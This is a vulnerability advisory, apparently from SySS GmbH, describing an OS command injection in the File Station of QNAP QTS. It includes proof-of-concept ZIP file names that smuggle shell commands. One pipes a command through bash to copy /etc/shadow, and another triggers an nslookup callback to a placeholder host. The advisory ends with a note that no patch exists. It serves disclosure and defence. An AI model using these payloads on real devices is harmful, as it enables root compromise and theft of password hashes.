~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

QTS is the operating system used by manufacturer QNAP on its series of
NAS devices (see [1]).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:


The SySS GmbH found an os command injection in the file station of the
current QTS administrative interface.

This type of vulnerability allows an attacker to run arbitrary commands
on the operating system of the host as root.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC, Build 20160311)

1. Log in to the QNAP. The user needs sufficient permissions to either
rename or create ZIP files.
2. Upload or create a ZIP file with the following name:

a;echo -e "cp \x2fetc\x2fshadow \x2fshare\x2fCACHEDEV1_DATA\x2f[current
dir]" | bash ; echo .zip

3. Right-click on the ZIP file and select Extract > Extract to 
[pre-selected directory with the name of the ZIP file]
(Extract > last entry)

4. The contained code will be exected, in this case: /etc/shadow copied
to the current directory. Other code can of course be run as well,
e.g. to display some strings on the front-display of the QNAP (tested
with a 470 Pro) name the ZIP file like this and extract it:

a;lcd_tool -1 PoC -2 OS-Command-Injection; echo .zip

Depending on the system this might not work out of the box.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC, Build 20160601)

1. Log in to the QNAP. The user needs sufficient permissions to either
rename or create ZIP files.
2. Upload or create a ZIP file with the following name:

test$(nslookup examplehost).zip

3. Right-click on the ZIP file and select Extract > Extract files

4. The contained code will be executed as can be confirmed by listening 
on the corresponding network.

The original exploit (Extract > last entry) will not work on the current
release of QTS. This exploit should work on previous versions of QTS as
well.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The manufacturer has not released any security update or patch so far.
Administrators of QNAP QTS 4.2 installations should ensure that only 
trusted users/administrators have access to the device.
